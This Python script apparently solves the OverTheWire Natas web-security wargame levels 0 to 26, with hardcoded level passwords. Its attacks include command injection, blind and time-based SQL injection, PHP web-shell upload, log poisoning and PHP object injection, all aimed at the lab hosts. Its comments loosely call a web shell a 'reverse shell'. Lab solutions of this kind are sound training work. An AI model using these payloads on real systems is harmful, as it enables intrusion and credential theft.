Natas
import re
import sys
import requests
def natas0(verbose=False):
username = 'natas0'
password = username
url = f'http://{username}.natas.labs.overthewire.org'
response = requests.get(url, auth=(username, password))
content = response.text
return re.findall('<!--The password for natas1 is (.*) -->', content)[0]
def natas1(verbose=False):
username = 'natas1'
password = 'gtVrDuiDfck831PqWsLEZy5gyDz1clto'
url = f'http://{username}.natas.labs.overthewire.org'
response = requests.get(url, auth=(username, password))
content = response.text
return re.findall('<!--The password for natas2 is (.*) -->', content)[0]
def natas2(verbose=False):
username = 'natas2'
password = 'ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi'
url = f'http://{username}.natas.labs.overthewire.org/files/users.txt'
response = requests.get(url, auth=(username, password))
content = response.text
return re.findall('natas3:(.*)', content)[0]
def natas3(verbose=False):
username = 'natas3'
password = 'sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14'
url = f'http://{username}.natas.labs.overthewire.org/s3cr3t/users.txt'
response = requests.get(url, auth=(username, password))
content = response.text
return re.findall('natas4:(.*)', content)[0]
def natas4(verbose=False):
username = 'natas4'
password = 'Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ'
headers = {'Referer': 'http://natas5.natas.labs.overthewire.org/'}
url = f'http://{username}.natas.labs.overthewire.org'
response = requests.get(url, auth=(username, password), headers=headers)
content = response.text
return re.findall('Access granted. The password for natas5 is (.*)', content)[0]
def natas5(verbose=False):
username = 'natas5'
password = 'iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq'
cookies = {'loggedin': '1'}
url = f'http://{username}.natas.labs.overthewire.org'
with requests.Session() as session:
response = session.get(url, auth=(username, password), cookies=cookies)
content = response.text
return re.findall('Access granted. The password for natas6 is (.*)</div>', content)[0]
def natas6(verbose=False):
username = 'natas6'
password = 'aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1'
url = f'http://{username}.natas.labs.overthewire.org'
data = {
'secret': 'FOEIUWGHFEEUHOFUOIU',
'submit': 'submit',
}
response = requests.post(url, auth=(username, password), data=data)
content = response.text
flag = re.findall('Access granted. The password for natas7 is (.*)', content)[0]
return flag
def natas7(verbose=False):
username = 'natas7'
password = '7z3hEENjQtflzgnT29q7wAvMNfZdh0i9'
url = f'http://{username}.natas.labs.overthewire.org/index.php?page=../../../../etc/natas_webpass/natas8'
response = requests.post(url, auth=(username, password))
content = response.text
flag = re.findall('<br>\n(.*)\n\n<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->', content)[0]
return flag
def natas8(verbose=False):
import base64
username = 'natas8'
password = 'DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe'
url = f'http://{username}.natas.labs.overthewire.org/'
# Get encoded_secret '3d3d516343746d4d6d6c315669563362' from source code URL
# $encodedSecret = "3d3d516343746d4d6d6c315669563362";
response = requests.get(f'{url}index-source.html', auth=(username, password))
encoded_secret = re.findall(r'\$encodedSecret = "([^"]*)";', response.text)[0]
# Reverse secret based on source code
secret = base64.b64decode(bytes.fromhex(encoded_secret).decode('utf-8')[::-1]).decode()
data = {
'secret': secret,
'submit': 'submit',
}
# Pass secret value via POST request
response = requests.post(url, auth=(username, password), data=data)
content = response.text
flag = re.findall('Access granted. The password for natas9 is (.*)', content)[0]
return flag
def natas9(verbose=False):
username = 'natas9'
password = 'W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl'
url = f'http://{username}.natas.labs.overthewire.org'
data = {
'needle': '; cat /etc/natas_webpass/natas10; #',
'submit': 'submit',
}
response = requests.post(url, auth=(username, password), data=data)
content = response.text
flag = re.findall('Output:\n<pre>\n(.*)\n</pre>', content)[0]
return flag
def natas10(verbose=False):
username = 'natas10'
password = 'nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu'
url = f'http://{username}.natas.labs.overthewire.org'
data = {
'needle': '. /etc/natas_webpass/natas11 #',
'submit': 'submit',
}
response = requests.post(url, auth=(username, password), data=data)
content = response.text
flag = re.findall('Output:\n<pre>\n(.*)\n</pre>', content)[0]
return flag
def natas11(verbose=False):
import base64
import urllib
username = 'natas11'
password = 'U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK'
url = f'http://{username}.natas.labs.overthewire.org'
# PHP xor_encrypt() function from natas11 source converted to Python
def xor(x, y):
output = ''
for i in range(len(x)):
output += chr(ord(x[i]) ^ ord(y[i % len(y)]))
return output
with requests.Session() as session:
session.auth = (username, password)
response = session.get(url)
# Cookie received is URL encoded, so decode using urllib.parse.unquote(str)
cookie_received = urllib.parse.unquote(session.cookies['data'])
# After URL decoding, decode from base64
b64_decoded = base64.b64decode(cookie_received)
# Original $defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
showpassword_no = '{"showpassword":"no","bgcolor":"#ffffff"}'
''' Unnecessary steps, but demonstrates bin2hex and hex2bin
# Convert from binary to hex
hex_encoded = b64_decoded.hex()
# Convert from hex to binary
binary_encoded = bytes.fromhex(hex_encoded).decode()
# XOR will return same result as direct method below
xor_key = xor(showpassword_no, binary_encoded)
'''
xor_key = xor(showpassword_no, b64_decoded.decode())
# xor_key is a repeated string 'qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq'
key = xor_key[:4] # Key is the first 4 characters that get repeated
# XOR showpassword_yes with key to generate cookie_payload
showpassword_yes = '{"showpassword":"yes","bgcolor":"#ffffff"}'
ciphertext = xor(showpassword_yes, key)
cookie_payload = base64.b64encode(ciphertext.encode()).decode()
session.cookies.set('data', cookie_payload)
response = session.get(url)
content = response.text
return re.findall('The password for natas12 is (.*)<br>', content)[0]
def natas12(verbose=False):
level = 12
username = f'natas{level}'
password = 'EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3'
url = f'http://{username}.natas.labs.overthewire.org/'
'''
<?php
system($_GET['foo_bar']);
?>
'''
# Upload PHP reverse shell file via POST request
response = requests.post(
url,
auth=(username, password),
files = {'uploadedfile': open(f'{username}_reverse_shell.php', 'rb')},
data = {'filename': f'{username}_reverse_shell.php'}
)
# Get location of uploaded PHP reverse shell file
relative_path = re.findall('The file <a href="(.*)">upload/', response.text)[0]
# Use uploaded PHP reverse shell file to read contents of password file
command = f'?foo_bar=cat /etc/natas_webpass/natas{level+1}'
response = requests.post(url+relative_path+command, auth=(username, password))
return response.text.strip()
def natas13(verbose=False):
level = 13
username = f'natas{level}'
password = 'jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY'
url = f'http://{username}.natas.labs.overthewire.org/'
'''
GIF89a
<?php
system($_GET['foo_bar']);
?>
'''
# Upload PHP reverse shell file disguised as GIF89a image file via POST request
response = requests.post(
url,
auth=(username, password),
files = {'uploadedfile': open(f'{username}_reverse_shell.php', 'rb')},
data = {'filename': f'{username}_reverse_shell.php'}
)
# Get location of uploaded PHP reverse shell file
relative_path = re.findall('The file <a href="(.*)">upload/', response.text)[0]
# Use uploaded PHP reverse shell file to read contents of password file
command = f'?foo_bar=cat /etc/natas_webpass/natas{level+1}'
response = requests.post(url+relative_path+command, auth=(username, password))
return re.findall('GIF89a\n\n(.*)\n', response.text)[0]
def natas14(verbose=False):
level = 14
username = f'natas{level}'
password = 'Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1'
url = f'http://{username}.natas.labs.overthewire.org/'
sql_command = '" OR 1=1 #'
data = {
'username': sql_command,
'password': '',
}
response = requests.post(url, auth=(username, password), data=data)
content = response.text
flag = re.findall('Successful login! The password for natas15 is (.*)<br>', content)[0]
return flag
def natas15(verbose=False):
import string
level = 15
username = f'natas{level}'
password = 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'
url = f'http://{username}.natas.labs.overthewire.org/'
# Generate list of all possible flag characters
possible_characters = string.ascii_lowercase + string.ascii_uppercase + string.digits
def http_request(username, password, password_try):
sql_command = f'natas16" AND BINARY password LIKE "{password_try}%" #'
data = {'username': sql_command}
response = requests.post(url, auth=(username, password), data=data)
return response.text
# flag = ''
flag = 'WaIHEacj63wnNIBROHeqi3p9t0m5nhmh'
loop = True
while loop:
for counter, char in enumerate(possible_characters):
password_try = flag + char
if verbose: print(f'Level {level}\tTrying...' + password_try)
if 'This user exists.' in http_request(username, password, password_try):
flag += char
break
elif counter==len(possible_characters)-1:
# If none of possible_characters match, then stop looping
loop = False
return flag
def natas16(verbose=False):
import string
level = 16
username = f'natas{level}'
password = 'WaIHEacj63wnNIBROHeqi3p9t0m5nhmh'
url = f'http://{username}.natas.labs.overthewire.org/'
# Generate list of all possible flag characters
possible_characters = string.ascii_letters + string.digits
def http_request(username, password, password_try):
bash_command = f'vulnerability$(grep ^{password_try} /etc/natas_webpass/natas17)'
data = {'needle': bash_command}
response = requests.post(url, auth=(username, password), data=data)
return response.text
# flag = ''
flag = '8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw'
loop = True
while loop:
for counter, char in enumerate(possible_characters):
password_try = flag + char
if verbose: print(f'Level {level}\tTrying...' + password_try)
if 'Output:\n<pre>\nvulnerability\n</pre>\n' not in http_request(username, password, password_try):
flag += char
break
elif counter==len(possible_characters)-1:
# If none of possible_characters match, then stop looping
loop = False
return flag
def natas17(verbose=False):
import string
from time import time
level = 17
username = f'natas{level}'
password = '8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw'
url = f'http://{username}.natas.labs.overthewire.org/'
# Generate list of all possible flag characters
possible_characters = string.ascii_letters + string.digits
def http_request(username, password, password_try):
t0 = time()
sql_command = f'natas18" AND BINARY password LIKE "{password_try}%" AND SLEEP(10) #'
data = {'username': sql_command}
response = requests.post(url, auth=(username, password), data=data)
return time()-t0
# flag = ''
flag = 'xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP'
loop = True
while loop:
for counter, char in enumerate(possible_characters):
password_try = flag + char
t1 = http_request(username, password, password_try)
if verbose: print(f'Level {level}\tTrying...', password_try, str(round(t1, 3)), 'seconds')
if t1 > 10:
# If reponse time > 10 secs, then SQL 'SLEEP' command succeeded and password_try character(s) exist(s)
flag += char
break
elif counter==len(possible_characters)-1:
# If none of possible_characters match, then stop looping
loop = False
return flag
def natas18(verbose=False):
level = 18
username = f'natas{level}'
password = 'xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP'
url = f'http://{username}.natas.labs.overthewire.org/'
def http_request(session_id):
with requests.Session() as session:
cookies={'PHPSESSID': session_id}
response = session.post(url, auth=(username, password), cookies=cookies)
return response.text
range_start = 118 # Set to 0 to run full range
range_end = 641
for session_id in range(range_start, range_end):
content = http_request(str(session_id))
if 'You are logged in as a regular user. Login as an admin to retrieve credentials' in content:
if verbose: print(f'Level {level}\tTrying... PHPSESSID', session_id)
elif 'You are an admin. The credentials for the next level are:' in content:
return re.findall('The credentials for the next level are:<br><pre>Username: natas19\nPassword: (.*)</pre>', content)[0]
else:
return 'Error, incorrect PHPSESSID.'
def natas19(verbose=False):
import binascii
level = 19
username = f'natas{level}'
password = '4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs'
url = f'http://{username}.natas.labs.overthewire.org/'
def http_request(session_id):
with requests.Session() as session:
cookies = {'PHPSESSID': session_id}
response = session.post(url, auth=(username, password), cookies=cookies)
return response.text
range_start = 280 # Set to 0 to run full range
range_end = 641
for i in range(range_start, range_end):
PHPSESSID = binascii.hexlify(f'{str(i)}-admin'.encode()).decode()
content = http_request(PHPSESSID)
if 'You are logged in as a regular user. Login as an admin to retrieve credentials for natas20.</div>' in content:
if verbose: print(f'Level {level}\tTrying... id', str(i).zfill(3), 'PHPSESSID:', PHPSESSID)
elif 'You are an admin. The credentials for the next level are:<br><pre>Username: natas20' in content:
return re.findall('Password: (.*)</pre></div>', content)[0]
else:
return 'Error, incorrect PHPSESSID.'
def natas20(verbose=False):
level = 20
username = f'natas{level}'
password = 'eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF'
url = f'http://{username}.natas.labs.overthewire.org/'
with requests.Session() as session:
session.auth=(username, password)
data = {'name': 'foobar\nadmin 1'}
# Send newline admin payload via POST request
response = session.post(url=url, data=data)
# Make new HTTP request with cookie obtained from previous request
response = session.get(url=url, cookies=response.cookies)
flag = re.findall('Password: (.*)</pre>', response.text)[0]
return flag
def natas21(verbose=False):
level = 21
username = f'natas{level}'
password = 'IFekPyrQXftziDEsUr3x21sYuahypdgJ'
url = f'http://{username}.natas.labs.overthewire.org/'
experimenter_url = f'http://{username}-experimenter.natas.labs.overthewire.org/index.php'
with requests.Session() as session:
# Set admin value to '1' via POST request
data = {'admin': '1', 'submit': 'submit'}
response = session.post(url=experimenter_url, auth=(username, password), data=data)
# Get automatically assigned PHPSESSID from experimenter URL
cookies= {'PHPSESSID': response.cookies.get('PHPSESSID')}
# Since session is shared, use same PHPSESSID to access main URL to log in as admin
response = session.post(url=url, auth=(username, password), cookies=cookies)
flag = re.findall('Password: (.*)</pre>', response.text)[0]
return flag
def natas22(verbose=False):
level = 22
username = f'natas{level}'
password = 'chG9fbe1Tq2eWVMgjYYD1MsfIvN461kJ'
url = f'http://{username}.natas.labs.overthewire.org/'
response = requests.get(url=f'{url}?revelio', auth=(username, password), allow_redirects=False)
flag = re.findall('Password: (.*)</pre>', response.text)[0]
return flag
def natas23(verbose=False):
level = 23
username = f'natas{level}'
password = 'D0vlad33nQF0Hz2EP255TP5wSW9ZsRSE'
url = f'http://{username}.natas.labs.overthewire.org/'
# PHP code: if(strstr($_REQUEST["passwd"],"iloveyou") && ($_REQUEST["passwd"] > 10)){ ...
# As there is an 'e' in the string, then it is treated as a float in $_REQUEST["passwd"] > 10
# Therefore prepend number larger than 10 to string
data = {'passwd': '99iloveyou'}
response = requests.post(url=url, auth=(username, password), data=data)
flag = re.findall('<pre>Username: natas24 Password: (.*)</pre>', response.text)[0]
return flag
def natas24(verbose=False):
level = 24
username = f'natas{level}'
password = 'OsRmXFguozKpTZZ5X14zNO43379LZveg'
url = f'http://{username}.natas.labs.overthewire.org/'
response = requests.get(url=f'{url}?passwd[]', auth=(username, password))
flag = re.findall('Password: (.*)</pre>', response.text)[0]
return flag
def natas25(verbose=False):
level = 25
username = f'natas{level}'
password = 'GHF6X7YwACaYYssHVY05cFq83hRktl4c'
url = f'http://{username}.natas.labs.overthewire.org/'
with requests.Session() as session:
session.auth = (username, password)
response = session.get(url=f'{url}?lang=en')
PHPSESSID = response.cookies.get('PHPSESSID')
# PHP code prevents inclusion of 'natas_webpass': strstr($filename,"natas_webpass")
# But logs are saved to server
# Therefore include PHP payload in User-Agent header
php_payload = "<?php system('cat /etc/natas_webpass/natas26'); ?>"
headers = {'User-Agent': php_payload}
# language of website is set by taking 'lang' parameter and reading file
# PHP code replaces '../' with '': $filename=str_replace("../","",$filename);
# Therefore '..././' will reduce to '../', then link to payload log file
# $fd=fopen("/var/www/natas/natas25/logs/natas25_" . session_id() .".log","a");
data = {'lang': '..././'*5 + 'var/www/natas/natas25/logs/natas25_' + PHPSESSID + '.log'}
response = session.post(url, data=data, headers=headers)
flag = re.findall('] ([a-zA-Z0-9]*)\n "Directory traversal attempt! fixing request."', response.text)[0]
return flag
def natas26(verbose=False):
import base64
import subprocess
level = 26
username = f'natas{level}'
password = 'oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T'
url = f'http://{username}.natas.labs.overthewire.org/'
'''
<?php
class Logger{
private $logFile;
private $initMsg;
private $exitMsg;
function __construct(){
// initialise variables
$this->initMsg = "<?php system('cat /etc/natas_webpass/natas27'); ?>";
$this->exitMsg = "<?php system('cat /etc/natas_webpass/natas27'); ?>";
$this->logFile = "img/00000000.php";
// write initial message
$fd=fopen($this->logFile,"a+");
fwrite($fd,$initMsg);
fclose($fd);
}
function log($msg){
$fd=fopen($this->logFile,"a+");
fwrite($fd,$msg."\n");
fclose($fd);
}
function __destruct(){
// write exit message
$fd=fopen($this->logFile,"a+");
fwrite($fd,$this->exitMsg);
fclose($fd);
}
}
$logger_object = new Logger();
// echo(serialize($logger_object));
// echo("\n");
echo(base64_encode(serialize($logger_object)));
// echo("\n");
?>
'''
subproc = subprocess.run(
args = ['php', 'natas26_php_object_injection.php'],
stdout = subprocess.PIPE,
stderr = subprocess.DEVNULL,
text = True,
)
php_object_b64 = subproc.stdout
# php_object_b64 = 'Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czoxNjoiaW1nLzAwMDAwMDAwLnBocCI7czoxNToiAExvZ2dlcgBpbml0TXNnIjtzOjUwOiI8P3BocCBzeXN0ZW0oJ2NhdCAvZXRjL25hdGFzX3dlYnBhc3MvbmF0YXMyNycpOyA/PiI7czoxNToiAExvZ2dlcgBleGl0TXNnIjtzOjUwOiI8P3BocCBzeXN0ZW0oJ2NhdCAvZXRjL25hdGFzX3dlYnBhc3MvbmF0YXMyNycpOyA/PiI7fQ=='
with requests.Session() as session:
session.auth = (username, password)
session.cookies['drawing'] = php_object_b64
response = session.get(url)
response = session.get(url + 'img/00000000.php')
return response.text.split('\n')[0]
def output_next_level(level, flag):
return f'natas{level}\thttp://natas{level}.natas.labs.overthewire.org/\t{flag}'
def get_flag(level, **kwargs):
func = globals().get(f'natas{level}')
if func:
return output_next_level(level+1, func(**kwargs))
else:
return f'Error! Function natas{level} not found.'
def get_all_flag_funcs():
natas_funcs = []
for k,v in globals().items():
if 'natas' in k:
natas_funcs.append(v)
return natas_funcs
def error_main():
sys.stderr.write(f'Usage:\n$ python {sys.argv[0]}\n$ python {sys.argv[0]} -v -l <arg>\t(where <arg> must be an integer)\n')
def main():
if len(sys.argv)==1:
print(output_next_level(0, 'natas0'))
for counter, func in enumerate(get_all_flag_funcs()):
print(output_next_level(counter+1, func()))
print('--END--')
elif len(sys.argv)>1:
kwargs = {}
if '-v' in sys.argv:
kwargs.update({'verbose': True})
if '-l' in sys.argv and sys.argv.index('-l')<len(sys.argv)-1 and sys.argv[sys.argv.index('-l')+1].isdigit():
sys.stdout.write(f'{get_flag(int(sys.argv[sys.argv.index("-l")+1]), **kwargs)}\n')
elif len(sys.argv)==2:
print(output_next_level(0, 'natas0'))
for counter, func in enumerate(get_all_flag_funcs()):
print(output_next_level(counter+1, func(**kwargs)))
print('--END--')
else:
error_main()
elif '-l' in sys.argv and sys.argv.index('-l')<len(sys.argv)-1 and sys.argv[sys.argv.index('-l')+1].isdigit():
sys.stdout.write(f'{get_flag(int(sys.argv[sys.argv.index("-l")+1]))}\n')
else:
error_main()
else:
error_main()
if __name__=='__main__':
main()